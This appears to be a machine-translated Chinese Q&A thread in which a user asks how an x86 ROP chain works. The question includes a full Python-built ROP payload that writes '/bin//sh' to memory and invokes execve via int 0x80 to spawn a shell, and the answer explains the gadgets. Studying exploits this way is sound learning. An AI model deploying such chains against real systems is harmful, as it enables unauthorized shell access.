security
  • assembly
  • x86
  • buffer-overflow
  • exploit
  • 2015-04-04 64 views -1 likes 
    -1

    我需要幫助瞭解此ROP小工具(如下所示)如何按部就班地工作。 我很困惑,爲什麼在這裏需要mov和pop指令。瞭解ROP小工具

    p = "" 
    p += pack('<I', 0x08139e7a) # pop edx ; ret 
    p += pack('<I', 0x081e0060) # @ .data 
    p += pack('<I', 0x080f3246) # pop eax ; ret 
    p += '/bin' 
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret 
    p += pack('<I', 0x08139e7a) # pop edx ; ret 
    p += pack('<I', 0x081e0064) # @ .data + 4 
    p += pack('<I', 0x080f3246) # pop eax ; ret 
    p += '//sh' 
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret 
    p += pack('<I', 0x08139e7a) # pop edx ; ret 
    p += pack('<I', 0x081e0068) # @ .data + 8 
    p += pack('<I', 0x08061150) # xor eax, eax ; ret 
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret 
    p += pack('<I', 0x080481f1) # pop ebx ; ret 
    p += pack('<I', 0x081e0060) # @ .data 
    p += pack('<I', 0x0819d91d) # pop ecx ; ret 
    p += pack('<I', 0x081e0068) # @ .data + 8 
    p += pack('<I', 0x08139e7a) # pop edx ; ret 
    p += pack('<I', 0x081e0068) # @ .data + 8 
    p += pack('<I', 0x08061150) # xor eax, eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x0805726e) # int 0x80 
    
    +0

    ROP鏈在很大程度上取決於ROP啓動時寄存器和內存的上下文(無論堆棧,堆,模塊位置等)。我們錯過了這個背景。另外,爲什麼不嘗試使用指向0xCC(斷點)的小工具啓動ROP鏈(或者只需在程序中啓動漏洞時放置一個斷點),然後使用調試器跟隨鏈。你會立即看到連鎖店發生了什麼。 – Neitsa 2015-04-04 14:05:15

    回答

    2

    正如你已經知道,這條產業鏈創造了一個execve系統調用,這需要一個零終止的程序名,NULL終止參數數組和NULL終止環境參數數組。要創建這些,你需要將一些值寫入內存,並加載一些寄存器。原作者發現了一些有用的小工具。 mov dword ptr [edx], eax ; ret允許您將任意雙字(應該在eax中)寫入任意地址(應位於edx中)。要將值存入寄存器,可以使用pop小工具,因爲您可以控制堆棧。

    顯然這不是唯一的可能方式,如果你發現其他ROP小工具,你可以做一個不同的鏈。

    相關問題